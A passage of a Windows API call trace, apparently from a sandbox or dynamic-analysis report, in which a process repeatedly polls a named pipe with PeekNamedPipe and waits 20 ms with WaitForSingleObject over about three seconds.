lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.867] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.867] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.898] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.929] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.961] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.000] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.054] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.119] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.147] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.147] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.178] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.215] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.241] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.272] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.303] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.381] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.731] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.756] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.804] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.805] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.978] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.036] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.037] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.068] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.103] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.104] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.130] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.194] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.224] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.286] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.286] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.317] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.348] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.348] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.411] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.442] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.442] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.504] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.536] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.567] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.567] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.598] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.598] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.629] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.629] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.687] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.710] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.710] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.739] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.769] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.770] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.801] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.801] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.832] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.876] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.894] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.957] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0129.989] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0129.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.019] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.053] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.053] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.082] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.113] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.156] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.156] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.211] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.211] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.238] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.238] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.269] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.300] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.331] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.332] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.430] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.472] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.472] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.518] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.925] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.956] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0130.988] PeekNamedPipe (in: hNamedPipe=0xc4, 